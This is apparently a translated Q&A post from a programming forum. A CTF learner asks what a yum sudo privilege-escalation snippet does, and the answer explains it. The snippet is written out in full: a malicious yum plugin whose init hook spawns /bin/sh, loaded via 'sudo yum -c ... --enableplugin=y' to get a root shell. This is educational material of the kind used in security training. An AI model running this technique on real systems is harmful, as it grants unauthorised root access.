【问题标题】:Yum privilege escalation百胜特权升级
【发布时间】:2020-11-01 19:12:09
【问题描述】:

我在 tryhackme 上做一些 ctf 时发现了这段代码。我不明白。有人能解释一下它到底是做什么的吗?

TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y

【问题讨论】:

    标签: linux yum privilege-elevation


    【解决方案1】:

    当然,这种提权技术显然是利用用户权限将yum作为sudo运行。

    TF=$(mktemp -d) 创建一个临时目录。

    之后,在临时目录(可通过$TF 访问)中创建三个文件,方法是将内容“添加”到其中。

    为了可视化这一点,您可以在 bash shell 中运行以下命令(当然没有前导 >):

    > touch test
    
    > cat >test<<EOF 
    [main]
    plugins=1
    pluginpath=$TF
    pluginconfpath=$TF
    EOF
    
    > cat test
    

    这将打印出名为test 的文件中刚刚“分类”的内容。

    最后一步:sudo yum -c $TF/x --enableplugin=y 简单地执行一个常规的 yum 命令,利用上面提到的刚刚创建的文件。有效载荷def init_hook(conduit): os.execl('/bin/sh','/bin/sh') 将被执行,因为您使用sudo 执行它,为您提供一个root 用户的shell。

    我希望这会有所帮助。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2018-08-01
      • 1970-01-01
      • 2014-12-16
      • 1970-01-01
      • 2019-03-24
      相关资源
      最近更新 更多